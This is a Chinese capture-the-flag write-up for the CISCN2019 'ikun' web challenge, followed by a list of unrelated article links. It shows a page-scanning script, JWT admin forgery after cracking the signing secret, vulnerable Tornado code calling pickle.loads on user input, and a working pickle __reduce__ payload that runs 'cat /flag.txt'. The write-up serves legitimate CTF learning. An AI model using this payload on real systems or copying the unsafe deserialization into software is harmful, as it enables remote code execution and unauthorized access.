当前位置: 首页 > news >正文

[CISCN2019 华北赛区 Day1 Web2]ikun

没想到kunkun这么火,国赛都拿来做文章了[狗头]

前置知识:

1.JWT伪造

2.脚本构造

3.pickle反序列化

打开题目:

是这个样子,有注册有登陆。不过还是先看一下源代码(发现这样一句话):

一定要买到lv6??

什么意思。浏览一会页面之后,发现下面都是一些购买的东西,并且有很多页,而且看见了lv4.pnglv2.png类似的图片,翻了许多页,没找到lv6.png.

写个脚本跑一下:

import requests

url = "http://9b908a48-4852-4d94-bab0-43da96d38929.node4.buuoj.cn:81/shop?page="

for i in range(1, 5000):
    rqs_url = url + str(i)
    resp = requests.get(rqs_url)
    if "lv6.png" in resp.text:
        print("Find it :" + str(i))
        break

结果:

由于购买要注册账号,随便注册一个

给了一个地址,访问一下:

只允许admin访问,而且我们注意到cookie有一个值是JWT,这里用JWT伪造admin:

用这个网站:JSON Web Tokens - jwt.io

接下来就是secret了,用脚本跑一下:

脚本地址:GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

记得git clone之后在当前目录输入make

破解:

伪造之后发现:

有一个zip文件下载之后代码审计,发现有pickle反序列化漏洞:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里利用反序列化漏洞是因为当python执行反序列化的时候会触发__reduce__()从而触发恶意代码

使用python2跑一下脚本:

import pickle
import urllib
import commands


class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))
        # return (eval, ("open('/flag.txt','r').read()",))


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

上面注释的是另一种方法,只能读取文件,主要是这一题禁用了很多函数。但是commands是可用的

生成payload:

拿到flag:

相关文章:

  • MySQL-运算符
  • 【c++ primer 笔记】第 16章 模板与泛型编程
  • kubernetes 之 Pod 控制器 Deployment
  • 【华为校招】【校招】【Java】【模拟】贪吃蛇
  • 字节跳动校招——运维工程师-系统架构岗位面经分享
  • 自动控制原理9.4---李雅普诺夫稳定性分析
  • Java中的多线程概述、多线程实现、线程类常见的方法与线程安全问题详细使用(多线程上篇含Lock锁同步方法同步代码块)
  • MySQL数据库必会的增删查改操作(CRUD)
  • maven常用插件详解
  • 【JavaScript-事件②】表单元素的属性操作,密码显示隐藏的实现
  • 猿创征文 | 万字总结C文件
  • 【微信小程序入门到精通】— AppID和个性配置你学会了么?
  • 【Luogu P6902】[ICPC2014 WF] Surveillance(倍增,贪心)
  • 第一章 Java概述
  • c++的多态和虚函数
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • Angularjs之国际化
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • co模块的前端实现
  • Javascript基础之Array数组API
  • Java精华积累:初学者都应该搞懂的问题
  • JS学习笔记——闭包
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • React16时代,该用什么姿势写 React ?
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • v-if和v-for连用出现的问题
  • 从零开始学习部署
  • 力扣(LeetCode)22
  • 原生JS动态加载JS、CSS文件及代码脚本
  • AI又要和人类“对打”,Deepmind宣布《星战Ⅱ》即将开始 ...
  • Java数据解析之JSON
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • #vue3 实现前端下载excel文件模板功能
  • #我与Java虚拟机的故事#连载04:一本让自己没面子的书
  • #我与Java虚拟机的故事#连载12:一本书带我深入Java领域
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • (27)4.8 习题课
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (附源码)ssm捐赠救助系统 毕业设计 060945
  • (附源码)计算机毕业设计ssm-Java网名推荐系统
  • (三) diretfbrc详解
  • (学习日记)2024.01.09
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (转)EXC_BREAKPOINT僵尸错误
  • *1 计算机基础和操作系统基础及几大协议
  • .gitignore
  • .Net MVC4 上传大文件,并保存表单
  • .net 按比例显示图片的缩略图
  • .NET 表达式计算:Expression Evaluator
  • .NET/C# 中设置当发生某个特定异常时进入断点(不借助 Visual Studio 的纯代码实现)
  • .NET3.5下用Lambda简化跨线程访问窗体控件,避免繁复的delegate,Invoke(转)
  • .Net接口调试与案例
  • .NET序列化 serializable,反序列化